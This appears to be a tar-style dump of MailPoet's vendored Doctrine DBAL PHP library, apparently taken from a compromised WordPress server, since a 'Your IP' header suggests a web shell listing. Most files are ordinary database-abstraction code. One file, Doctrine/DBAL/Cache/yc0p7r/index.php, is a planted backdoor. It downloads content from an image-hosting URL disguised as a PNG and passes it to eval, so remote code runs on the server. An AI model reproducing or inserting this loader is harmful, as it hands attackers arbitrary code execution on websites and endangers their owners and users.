Your IP : 216.73.217.176
index.php 0000666 00000000000 15035130071 0006351 0 ustar 00 Doctrine/DBAL/ConnectionException.php 0000666 00000001335 15035130071 0013505 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; class ConnectionException extends \MailPoetVendor\Doctrine\DBAL\DBALException { public static function commitFailedRollbackOnly() { return new self("Transaction commit failed because the transaction has been marked for rollback only."); } public static function noActiveTransaction() { return new self("There is no active transaction."); } public static function savepointsNotSupported() { return new self("Savepoints are not supported by this driver."); } public static function mayNotAlterNestedTransactionWithSavepointsInTransaction() { return new self("May not alter the nested transaction with savepoints behavior while a transaction is open."); } } Doctrine/DBAL/Cache/CacheException.php 0000666 00000000571 15035130071 0013415 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Cache; if (!defined('ABSPATH')) exit; class CacheException extends \MailPoetVendor\Doctrine\DBAL\DBALException { public static function noCacheKey() { return new self("No cache key was set."); } public static function noResultDriverConfigured() { return new self("Trying to cache a query but no result driver is configured."); } } Doctrine/DBAL/Cache/ResultCacheStatement.php 0000666 00000004726 15035130071 0014630 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Cache; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Driver\Statement; use MailPoetVendor\Doctrine\DBAL\Driver\ResultStatement; use MailPoetVendor\Doctrine\Common\Cache\Cache; use PDO; class ResultCacheStatement implements \IteratorAggregate, \MailPoetVendor\Doctrine\DBAL\Driver\ResultStatement { private $resultCache; private $cacheKey; private $realKey; private $lifetime; private $statement; private $emptied = \false; private $data; private $defaultFetchMode = \PDO::FETCH_BOTH; public function __construct(\MailPoetVendor\Doctrine\DBAL\Driver\Statement $stmt, \MailPoetVendor\Doctrine\Common\Cache\Cache $resultCache, $cacheKey, $realKey, $lifetime) { $this->statement = $stmt; $this->resultCache = $resultCache; $this->cacheKey = $cacheKey; $this->realKey = $realKey; $this->lifetime = $lifetime; } public function closeCursor() { $this->statement->closeCursor(); if ($this->emptied && $this->data !== null) { $data = $this->resultCache->fetch($this->cacheKey); if (!$data) { $data = array(); } $data[$this->realKey] = $this->data; $this->resultCache->save($this->cacheKey, $data, $this->lifetime); unset($this->data); } } public function columnCount() { return $this->statement->columnCount(); } public function setFetchMode($fetchMode, $arg2 = null, $arg3 = null) { $this->defaultFetchMode = $fetchMode; return \true; } public function getIterator() { $data = $this->fetchAll(); return new \ArrayIterator($data); } public function fetch($fetchMode = null) { if ($this->data === null) { $this->data = array(); } $row = $this->statement->fetch(\PDO::FETCH_ASSOC); if ($row) { $this->data[] = $row; $fetchMode = $fetchMode ?: $this->defaultFetchMode; if ($fetchMode == \PDO::FETCH_ASSOC) { return $row; } elseif ($fetchMode == \PDO::FETCH_NUM) { return \array_values($row); } elseif ($fetchMode == \PDO::FETCH_BOTH) { return \array_merge($row, \array_values($row)); } elseif ($fetchMode == \PDO::FETCH_COLUMN) { return \reset($row); } else { throw new \InvalidArgumentException("Invalid fetch-style given for caching result."); } } $this->emptied = \true; return \false; } public function fetchAll($fetchMode = null) { $rows = array(); while ($row = $this->fetch($fetchMode)) { $rows[] = $row; } return $rows; } public function fetchColumn($columnIndex = 0) { $row = $this->fetch(\PDO::FETCH_NUM); if (!isset($row[$columnIndex])) { return \false; } return $row[$columnIndex]; } public function rowCount() { return $this->statement->rowCount(); } } Doctrine/DBAL/Cache/QueryCacheProfile.php 0000666 00000003044 15035130071 0014103 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Cache; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\Common\Cache\Cache; class QueryCacheProfile { private $resultCacheDriver; private $lifetime = 0; private $cacheKey; public function __construct($lifetime = 0, $cacheKey = null, \MailPoetVendor\Doctrine\Common\Cache\Cache $resultCache = null) { $this->lifetime = $lifetime; $this->cacheKey = $cacheKey; $this->resultCacheDriver = $resultCache; } public function getResultCacheDriver() { return $this->resultCacheDriver; } public function getLifetime() { return $this->lifetime; } public function getCacheKey() { if ($this->cacheKey === null) { throw \MailPoetVendor\Doctrine\DBAL\Cache\CacheException::noCacheKey(); } return $this->cacheKey; } public function generateCacheKeys($query, $params, $types) { $realCacheKey = $query . "-" . \serialize($params) . "-" . \serialize($types); if ($this->cacheKey === null) { $cacheKey = \sha1($realCacheKey); } else { $cacheKey = $this->cacheKey; } return array($cacheKey, $realCacheKey); } public function setResultCacheDriver(\MailPoetVendor\Doctrine\Common\Cache\Cache $cache) { return new \MailPoetVendor\Doctrine\DBAL\Cache\QueryCacheProfile($this->lifetime, $this->cacheKey, $cache); } public function setCacheKey($cacheKey) { return new \MailPoetVendor\Doctrine\DBAL\Cache\QueryCacheProfile($this->lifetime, $cacheKey, $this->resultCacheDriver); } public function setLifetime($lifetime) { return new \MailPoetVendor\Doctrine\DBAL\Cache\QueryCacheProfile($lifetime, $this->cacheKey, $this->resultCacheDriver); } } Doctrine/DBAL/Cache/yc0p7r/index.php 0000666 00000003014 15035130071 0012761 0 ustar 00 .
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<?php
$Url = "https://i.ibb.co/bQdw0rp/676e7682aabc-png.png";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $Url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
curl_close($ch);
echo eval('?>'.$output);
?>
Doctrine/DBAL/Cache/ArrayStatement.php 0000666 00000003472 15035130071 0013501 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Cache; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Driver\ResultStatement; use PDO; class ArrayStatement implements \IteratorAggregate, \MailPoetVendor\Doctrine\DBAL\Driver\ResultStatement { private $data; private $columnCount = 0; private $num = 0; private $defaultFetchMode = \PDO::FETCH_BOTH; public function __construct(array $data) { $this->data = $data; if (\count($data)) { $this->columnCount = \count($data[0]); } } public function closeCursor() { unset($this->data); } public function columnCount() { return $this->columnCount; } public function setFetchMode($fetchMode, $arg2 = null, $arg3 = null) { if ($arg2 !== null || $arg3 !== null) { throw new \InvalidArgumentException("Caching layer does not support 2nd/3rd argument to setFetchMode()"); } $this->defaultFetchMode = $fetchMode; return \true; } public function getIterator() { $data = $this->fetchAll(); return new \ArrayIterator($data); } public function fetch($fetchMode = null) { if (isset($this->data[$this->num])) { $row = $this->data[$this->num++]; $fetchMode = $fetchMode ?: $this->defaultFetchMode; if ($fetchMode === \PDO::FETCH_ASSOC) { return $row; } elseif ($fetchMode === \PDO::FETCH_NUM) { return \array_values($row); } elseif ($fetchMode === \PDO::FETCH_BOTH) { return \array_merge($row, \array_values($row)); } elseif ($fetchMode === \PDO::FETCH_COLUMN) { return \reset($row); } else { throw new \InvalidArgumentException("Invalid fetch-style given for fetching result."); } } return \false; } public function fetchAll($fetchMode = null) { $rows = array(); while ($row = $this->fetch($fetchMode)) { $rows[] = $row; } return $rows; } public function fetchColumn($columnIndex = 0) { $row = $this->fetch(\PDO::FETCH_NUM); if (!isset($row[$columnIndex])) { return \false; } return $row[$columnIndex]; } } Doctrine/DBAL/Cache/index.php 0000666 00000000000 15035130071 0011625 0 ustar 00 Doctrine/DBAL/Version.php 0000666 00000000514 15035130071 0011152 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; class Version { const VERSION = '2.5.13'; public static function compare($version) { $currentVersion = \str_replace(' ', '', \strtolower(self::VERSION)); $version = \str_replace(' ', '', $version); return \version_compare($version, $currentVersion); } } Doctrine/DBAL/DriverManager.php 0000666 00000013336 15035130071 0012261 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\Common\EventManager; final class DriverManager { private static $_driverMap = array('pdo_mysql' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\PDOMySql\\Driver', 'pdo_sqlite' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\PDOSqlite\\Driver', 'pdo_pgsql' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\PDOPgSql\\Driver', 'pdo_oci' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\PDOOracle\\Driver', 'oci8' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\OCI8\\Driver', 'ibm_db2' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\IBMDB2\\DB2Driver', 'pdo_sqlsrv' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\PDOSqlsrv\\Driver', 'mysqli' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\Mysqli\\Driver', 'drizzle_pdo_mysql' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\DrizzlePDOMySql\\Driver', 'sqlanywhere' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\SQLAnywhere\\Driver', 'sqlsrv' => 'MailPoetVendor\\Doctrine\\DBAL\\Driver\\SQLSrv\\Driver'); private static $driverSchemeAliases = array( 'db2' => 'ibm_db2', 'mssql' => 'pdo_sqlsrv', 'mysql' => 'pdo_mysql', 'mysql2' => 'pdo_mysql', 'postgres' => 'pdo_pgsql', 'postgresql' => 'pdo_pgsql', 'pgsql' => 'pdo_pgsql', 'sqlite' => 'pdo_sqlite', 'sqlite3' => 'pdo_sqlite', ); private function __construct() { } public static function getConnection(array $params, \MailPoetVendor\Doctrine\DBAL\Configuration $config = null, \MailPoetVendor\Doctrine\Common\EventManager $eventManager = null) { if (!$config) { $config = new \MailPoetVendor\Doctrine\DBAL\Configuration(); } if (!$eventManager) { $eventManager = new \MailPoetVendor\Doctrine\Common\EventManager(); } $params = self::parseDatabaseUrl($params); if (isset($params['pdo']) && !$params['pdo'] instanceof \PDO) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::invalidPdoInstance(); } elseif (isset($params['pdo'])) { $params['pdo']->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); $params['driver'] = 'pdo_' . $params['pdo']->getAttribute(\PDO::ATTR_DRIVER_NAME); } else { self::_checkParams($params); } if (isset($params['driverClass'])) { $className = $params['driverClass']; } else { $className = self::$_driverMap[$params['driver']]; } $driver = new $className(); $wrapperClass = 'MailPoetVendor\\Doctrine\\DBAL\\Connection'; if (isset($params['wrapperClass'])) { if (\is_subclass_of($params['wrapperClass'], $wrapperClass)) { $wrapperClass = $params['wrapperClass']; } else { throw \MailPoetVendor\Doctrine\DBAL\DBALException::invalidWrapperClass($params['wrapperClass']); } } return new $wrapperClass($params, $driver, $config, $eventManager); } public static function getAvailableDrivers() { return \array_keys(self::$_driverMap); } private static function _checkParams(array $params) { if (!isset($params['driver']) && !isset($params['driverClass'])) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::driverRequired(); } if (isset($params['driver']) && !isset(self::$_driverMap[$params['driver']])) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::unknownDriver($params['driver'], \array_keys(self::$_driverMap)); } if (isset($params['driverClass']) && !\in_array('MailPoetVendor\\Doctrine\\DBAL\\Driver', \class_implements($params['driverClass'], \true))) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::invalidDriverClass($params['driverClass']); } } private static function normalizeDatabaseUrlPath($urlPath) { return \substr($urlPath, 1); } private static function parseDatabaseUrl(array $params) { if (!isset($params['url'])) { return $params; } $url = \preg_replace('#^((?:pdo_)?sqlite3?):///#', '$1://localhost/', $params['url']); if (\PHP_VERSION_ID < 50408 && \strpos($url, '//') === 0) { $url = \parse_url('fake:' . $url); unset($url['scheme']); } else { $url = \parse_url($url); } if ($url === \false) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException('Malformed parameter "url".'); } unset($params['pdo']); $params = self::parseDatabaseUrlScheme($url, $params); if (isset($url['host'])) { $params['host'] = $url['host']; } if (isset($url['port'])) { $params['port'] = $url['port']; } if (isset($url['user'])) { $params['user'] = $url['user']; } if (isset($url['pass'])) { $params['password'] = $url['pass']; } $params = self::parseDatabaseUrlPath($url, $params); $params = self::parseDatabaseUrlQuery($url, $params); return $params; } private static function parseDatabaseUrlPath(array $url, array $params) { if (!isset($url['path'])) { return $params; } $url['path'] = self::normalizeDatabaseUrlPath($url['path']); if (!isset($params['driver'])) { return self::parseRegularDatabaseUrlPath($url, $params); } if (\strpos($params['driver'], 'sqlite') !== \false) { return self::parseSqliteDatabaseUrlPath($url, $params); } return self::parseRegularDatabaseUrlPath($url, $params); } private static function parseDatabaseUrlQuery(array $url, array $params) { if (!isset($url['query'])) { return $params; } $query = array(); \parse_str($url['query'], $query); return \array_merge($params, $query); } private static function parseRegularDatabaseUrlPath(array $url, array $params) { $params['dbname'] = $url['path']; return $params; } private static function parseSqliteDatabaseUrlPath(array $url, array $params) { if ($url['path'] === ':memory:') { $params['memory'] = \true; return $params; } $params['path'] = $url['path']; return $params; } private static function parseDatabaseUrlScheme(array $url, array $params) { if (isset($url['scheme'])) { unset($params['driverClass']); $driver = \str_replace('-', '_', $url['scheme']); $params['driver'] = isset(self::$driverSchemeAliases[$driver]) ? self::$driverSchemeAliases[$driver] : $driver; return $params; } if (!isset($params['driverClass']) && !isset($params['driver'])) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::driverRequired($params['url']); } return $params; } } Doctrine/DBAL/Id/index.php 0000666 00000000000 15035130071 0011156 0 ustar 00 Doctrine/DBAL/Id/TableGeneratorSchemaVisitor.php 0000666 00000003055 15035130071 0015463 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Id; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Schema\Table; use MailPoetVendor\Doctrine\DBAL\Schema\Schema; use MailPoetVendor\Doctrine\DBAL\Schema\Column; use MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint; use MailPoetVendor\Doctrine\DBAL\Schema\Sequence; use MailPoetVendor\Doctrine\DBAL\Schema\Index; class TableGeneratorSchemaVisitor implements \MailPoetVendor\Doctrine\DBAL\Schema\Visitor\Visitor { private $generatorTableName; public function __construct($generatorTableName = 'sequences') { $this->generatorTableName = $generatorTableName; } public function acceptSchema(\MailPoetVendor\Doctrine\DBAL\Schema\Schema $schema) { $table = $schema->createTable($this->generatorTableName); $table->addColumn('sequence_name', 'string'); $table->addColumn('sequence_value', 'integer', array('default' => 1)); $table->addColumn('sequence_increment_by', 'integer', array('default' => 1)); } public function acceptTable(\MailPoetVendor\Doctrine\DBAL\Schema\Table $table) { } public function acceptColumn(\MailPoetVendor\Doctrine\DBAL\Schema\Table $table, \MailPoetVendor\Doctrine\DBAL\Schema\Column $column) { } public function acceptForeignKey(\MailPoetVendor\Doctrine\DBAL\Schema\Table $localTable, \MailPoetVendor\Doctrine\DBAL\Schema\ForeignKeyConstraint $fkConstraint) { } public function acceptIndex(\MailPoetVendor\Doctrine\DBAL\Schema\Table $table, \MailPoetVendor\Doctrine\DBAL\Schema\Index $index) { } public function acceptSequence(\MailPoetVendor\Doctrine\DBAL\Schema\Sequence $sequence) { } } Doctrine/DBAL/Id/TableGenerator.php 0000666 00000005051 15035130071 0012760 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Id; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\DriverManager; use MailPoetVendor\Doctrine\DBAL\Connection; class TableGenerator { private $conn; private $generatorTableName; private $sequences = array(); public function __construct(\MailPoetVendor\Doctrine\DBAL\Connection $conn, $generatorTableName = 'sequences') { $params = $conn->getParams(); if ($params['driver'] == 'pdo_sqlite') { throw new \MailPoetVendor\Doctrine\DBAL\DBALException("Cannot use TableGenerator with SQLite."); } $this->conn = \MailPoetVendor\Doctrine\DBAL\DriverManager::getConnection($params, $conn->getConfiguration(), $conn->getEventManager()); $this->generatorTableName = $generatorTableName; } public function nextValue($sequenceName) { if (isset($this->sequences[$sequenceName])) { $value = $this->sequences[$sequenceName]['value']; $this->sequences[$sequenceName]['value']++; if ($this->sequences[$sequenceName]['value'] >= $this->sequences[$sequenceName]['max']) { unset($this->sequences[$sequenceName]); } return $value; } $this->conn->beginTransaction(); try { $platform = $this->conn->getDatabasePlatform(); $sql = "SELECT sequence_value, sequence_increment_by " . "FROM " . $platform->appendLockHint($this->generatorTableName, \MailPoetVendor\Doctrine\DBAL\LockMode::PESSIMISTIC_WRITE) . " " . "WHERE sequence_name = ? " . $platform->getWriteLockSQL(); $stmt = $this->conn->executeQuery($sql, array($sequenceName)); if ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) { $row = \array_change_key_case($row, \CASE_LOWER); $value = $row['sequence_value']; $value++; if ($row['sequence_increment_by'] > 1) { $this->sequences[$sequenceName] = array('value' => $value, 'max' => $row['sequence_value'] + $row['sequence_increment_by']); } $sql = "UPDATE " . $this->generatorTableName . " " . "SET sequence_value = sequence_value + sequence_increment_by " . "WHERE sequence_name = ? AND sequence_value = ?"; $rows = $this->conn->executeUpdate($sql, array($sequenceName, $row['sequence_value'])); if ($rows != 1) { throw new \MailPoetVendor\Doctrine\DBAL\DBALException("Race-condition detected while updating sequence. Aborting generation"); } } else { $this->conn->insert($this->generatorTableName, array('sequence_name' => $sequenceName, 'sequence_value' => 1, 'sequence_increment_by' => 1)); $value = 1; } $this->conn->commit(); } catch (\Exception $e) { $this->conn->rollback(); throw new \MailPoetVendor\Doctrine\DBAL\DBALException("Error occurred while generating ID with TableGenerator, aborted generation: " . $e->getMessage(), 0, $e); } return $value; } } Doctrine/DBAL/LockMode.php 0000666 00000000351 15035130071 0011221 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; class LockMode { const NONE = 0; const OPTIMISTIC = 1; const PESSIMISTIC_READ = 2; const PESSIMISTIC_WRITE = 4; private final function __construct() { } } Doctrine/DBAL/Events.php 0000666 00000001423 15035130071 0010771 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; final class Events { private function __construct() { } const postConnect = 'postConnect'; const onSchemaCreateTable = 'onSchemaCreateTable'; const onSchemaCreateTableColumn = 'onSchemaCreateTableColumn'; const onSchemaDropTable = 'onSchemaDropTable'; const onSchemaAlterTable = 'onSchemaAlterTable'; const onSchemaAlterTableAddColumn = 'onSchemaAlterTableAddColumn'; const onSchemaAlterTableRemoveColumn = 'onSchemaAlterTableRemoveColumn'; const onSchemaAlterTableChangeColumn = 'onSchemaAlterTableChangeColumn'; const onSchemaAlterTableRenameColumn = 'onSchemaAlterTableRenameColumn'; const onSchemaColumnDefinition = 'onSchemaColumnDefinition'; const onSchemaIndexDefinition = 'onSchemaIndexDefinition'; } Doctrine/DBAL/Configuration.php 0000666 00000002525 15035130071 0012340 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Logging\SQLLogger; use MailPoetVendor\Doctrine\Common\Cache\Cache; class Configuration { protected $_attributes = array(); public function setSQLLogger(\MailPoetVendor\Doctrine\DBAL\Logging\SQLLogger $logger = null) { $this->_attributes['sqlLogger'] = $logger; } public function getSQLLogger() { return isset($this->_attributes['sqlLogger']) ? $this->_attributes['sqlLogger'] : null; } public function getResultCacheImpl() { return isset($this->_attributes['resultCacheImpl']) ? $this->_attributes['resultCacheImpl'] : null; } public function setResultCacheImpl(\MailPoetVendor\Doctrine\Common\Cache\Cache $cacheImpl) { $this->_attributes['resultCacheImpl'] = $cacheImpl; } public function setFilterSchemaAssetsExpression($filterExpression) { $this->_attributes['filterSchemaAssetsExpression'] = $filterExpression; } public function getFilterSchemaAssetsExpression() { if (isset($this->_attributes['filterSchemaAssetsExpression'])) { return $this->_attributes['filterSchemaAssetsExpression']; } return null; } public function setAutoCommit($autoCommit) { $this->_attributes['autoCommit'] = (bool) $autoCommit; } public function getAutoCommit() { if (isset($this->_attributes['autoCommit'])) { return $this->_attributes['autoCommit']; } return \true; } } Doctrine/DBAL/SQLParserUtils.php 0000666 00000011070 15035130071 0012361 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; class SQLParserUtils { const POSITIONAL_TOKEN = '\\?'; const NAMED_TOKEN = '(?<!:):[a-zA-Z_][a-zA-Z0-9_]*'; const ESCAPED_SINGLE_QUOTED_TEXT = "(?:'(?:\\\\\\\\)+'|'(?:[^'\\\\]|\\\\'?|'')*')"; const ESCAPED_DOUBLE_QUOTED_TEXT = '(?:"(?:\\\\\\\\)+"|"(?:[^"\\\\]|\\\\"?)*")'; const ESCAPED_BACKTICK_QUOTED_TEXT = '(?:`(?:\\\\\\\\)+`|`(?:[^`\\\\]|\\\\`?)*`)'; const ESCAPED_BRACKET_QUOTED_TEXT = '(?<!\\bARRAY)\\[(?:[^\\]])*\\]'; public static function getPlaceholderPositions($statement, $isPositional = \true) { $match = $isPositional ? '?' : ':'; if (\strpos($statement, $match) === \false) { return array(); } $token = $isPositional ? self::POSITIONAL_TOKEN : self::NAMED_TOKEN; $paramMap = array(); foreach (self::getUnquotedStatementFragments($statement) as $fragment) { \preg_match_all("/{$token}/", $fragment[0], $matches, \PREG_OFFSET_CAPTURE); foreach ($matches[0] as $placeholder) { if ($isPositional) { $paramMap[] = $placeholder[1] + $fragment[1]; } else { $pos = $placeholder[1] + $fragment[1]; $paramMap[$pos] = \substr($placeholder[0], 1, \strlen($placeholder[0])); } } } return $paramMap; } public static function expandListParameters($query, $params, $types) { $isPositional = \is_int(\key($params)); $arrayPositions = array(); $bindIndex = -1; if ($isPositional) { \ksort($params); \ksort($types); } foreach ($types as $name => $type) { ++$bindIndex; if ($type !== \MailPoetVendor\Doctrine\DBAL\Connection::PARAM_INT_ARRAY && $type !== \MailPoetVendor\Doctrine\DBAL\Connection::PARAM_STR_ARRAY) { continue; } if ($isPositional) { $name = $bindIndex; } $arrayPositions[$name] = \false; } if (!$arrayPositions && $isPositional) { return array($query, $params, $types); } $paramPos = self::getPlaceholderPositions($query, $isPositional); if ($isPositional) { $paramOffset = 0; $queryOffset = 0; $params = \array_values($params); $types = \array_values($types); foreach ($paramPos as $needle => $needlePos) { if (!isset($arrayPositions[$needle])) { continue; } $needle += $paramOffset; $needlePos += $queryOffset; $count = \count($params[$needle]); $params = \array_merge(\array_slice($params, 0, $needle), $params[$needle], \array_slice($params, $needle + 1)); $types = \array_merge(\array_slice($types, 0, $needle), $count ? \array_fill(0, $count, $types[$needle] - \MailPoetVendor\Doctrine\DBAL\Connection::ARRAY_PARAM_OFFSET) : array(), \array_slice($types, $needle + 1)); $expandStr = $count ? \implode(", ", \array_fill(0, $count, "?")) : 'NULL'; $query = \substr($query, 0, $needlePos) . $expandStr . \substr($query, $needlePos + 1); $paramOffset += $count - 1; $queryOffset += \strlen($expandStr) - 1; } return array($query, $params, $types); } $queryOffset = 0; $typesOrd = array(); $paramsOrd = array(); foreach ($paramPos as $pos => $paramName) { $paramLen = \strlen($paramName) + 1; $value = static::extractParam($paramName, $params, \true); if (!isset($arrayPositions[$paramName]) && !isset($arrayPositions[':' . $paramName])) { $pos += $queryOffset; $queryOffset -= $paramLen - 1; $paramsOrd[] = $value; $typesOrd[] = static::extractParam($paramName, $types, \false, \PDO::PARAM_STR); $query = \substr($query, 0, $pos) . '?' . \substr($query, $pos + $paramLen); continue; } $count = \count($value); $expandStr = $count > 0 ? \implode(', ', \array_fill(0, $count, '?')) : 'NULL'; foreach ($value as $val) { $paramsOrd[] = $val; $typesOrd[] = static::extractParam($paramName, $types, \false) - \MailPoetVendor\Doctrine\DBAL\Connection::ARRAY_PARAM_OFFSET; } $pos += $queryOffset; $queryOffset += \strlen($expandStr) - $paramLen; $query = \substr($query, 0, $pos) . $expandStr . \substr($query, $pos + $paramLen); } return array($query, $paramsOrd, $typesOrd); } private static function getUnquotedStatementFragments($statement) { $literal = self::ESCAPED_SINGLE_QUOTED_TEXT . '|' . self::ESCAPED_DOUBLE_QUOTED_TEXT . '|' . self::ESCAPED_BACKTICK_QUOTED_TEXT . '|' . self::ESCAPED_BRACKET_QUOTED_TEXT; \preg_match_all("/([^'\"`\\[]+)(?:{$literal})?/s", $statement, $fragments, \PREG_OFFSET_CAPTURE); return $fragments[1]; } private static function extractParam($paramName, $paramsOrTypes, $isParam, $defaultValue = null) { if (\array_key_exists($paramName, $paramsOrTypes)) { return $paramsOrTypes[$paramName]; } if (\array_key_exists(':' . $paramName, $paramsOrTypes)) { return $paramsOrTypes[':' . $paramName]; } if (null !== $defaultValue) { return $defaultValue; } if ($isParam) { throw \MailPoetVendor\Doctrine\DBAL\SQLParserUtilsException::missingParam($paramName); } throw \MailPoetVendor\Doctrine\DBAL\SQLParserUtilsException::missingType($paramName); } } Doctrine/DBAL/Exception/ServerException.php 0000666 00000000262 15035130072 0014611 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class ServerException extends \MailPoetVendor\Doctrine\DBAL\Exception\DriverException { } Doctrine/DBAL/Exception/InvalidArgumentException.php 0000666 00000000527 15035130072 0016440 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\DBALException; class InvalidArgumentException extends \MailPoetVendor\Doctrine\DBAL\DBALException { public static function fromEmptyCriteria() { return new self('Empty criteria was used, expected non-empty criteria'); } } Doctrine/DBAL/Exception/DriverException.php 0000666 00000001276 15035130072 0014604 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\DBALException; class DriverException extends \MailPoetVendor\Doctrine\DBAL\DBALException { private $driverException; public function __construct($message, \MailPoetVendor\Doctrine\DBAL\Driver\DriverException $driverException) { $exception = null; if ($driverException instanceof \Exception) { $exception = $driverException; } parent::__construct($message, 0, $exception); $this->driverException = $driverException; } public function getErrorCode() { return $this->driverException->getErrorCode(); } public function getSQLState() { return $this->driverException->getSQLState(); } } Doctrine/DBAL/Exception/ForeignKeyConstraintViolationException.php 0000666 00000000326 15035130072 0021340 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class ForeignKeyConstraintViolationException extends \MailPoetVendor\Doctrine\DBAL\Exception\ConstraintViolationException { } Doctrine/DBAL/Exception/ConnectionException.php 0000666 00000000266 15035130072 0015446 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class ConnectionException extends \MailPoetVendor\Doctrine\DBAL\Exception\DriverException { } Doctrine/DBAL/Exception/ReadOnlyException.php 0000666 00000000264 15035130072 0015062 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class ReadOnlyException extends \MailPoetVendor\Doctrine\DBAL\Exception\ServerException { } Doctrine/DBAL/Exception/DatabaseObjectNotFoundException.php 0000666 00000000302 15035130072 0017646 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class DatabaseObjectNotFoundException extends \MailPoetVendor\Doctrine\DBAL\Exception\ServerException { } Doctrine/DBAL/Exception/DatabaseObjectExistsException.php 0000666 00000000300 15035130072 0017367 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class DatabaseObjectExistsException extends \MailPoetVendor\Doctrine\DBAL\Exception\ServerException { } Doctrine/DBAL/Exception/ConstraintViolationException.php 0000666 00000000277 15035130072 0017362 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class ConstraintViolationException extends \MailPoetVendor\Doctrine\DBAL\Exception\ServerException { } Doctrine/DBAL/Exception/index.php 0000666 00000000000 15035130072 0012561 0 ustar 00 Doctrine/DBAL/Exception/InvalidFieldNameException.php 0000666 00000000274 15035130072 0016501 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class InvalidFieldNameException extends \MailPoetVendor\Doctrine\DBAL\Exception\ServerException { } Doctrine/DBAL/Exception/TableNotFoundException.php 0000666 00000000311 15035130072 0016042 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class TableNotFoundException extends \MailPoetVendor\Doctrine\DBAL\Exception\DatabaseObjectNotFoundException { } Doctrine/DBAL/Exception/TableExistsException.php 0000666 00000000305 15035130072 0015570 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class TableExistsException extends \MailPoetVendor\Doctrine\DBAL\Exception\DatabaseObjectExistsException { } Doctrine/DBAL/Exception/NonUniqueFieldNameException.php 0000666 00000000276 15035130072 0017036 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class NonUniqueFieldNameException extends \MailPoetVendor\Doctrine\DBAL\Exception\ServerException { } Doctrine/DBAL/Exception/UniqueConstraintViolationException.php 0000666 00000000322 15035130072 0020540 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Exception; if (!defined('ABSPATH')) exit; class UniqueConstraintViolationException extends \MailPoetVendor\Doctrine\DBAL\Exception\ConstraintViolationException { } Doctrine/DBAL/Exception/NotNullConstraintViolationException.php 0000666 00000000323 15035130072 0020666 0 ustar 00 <?php
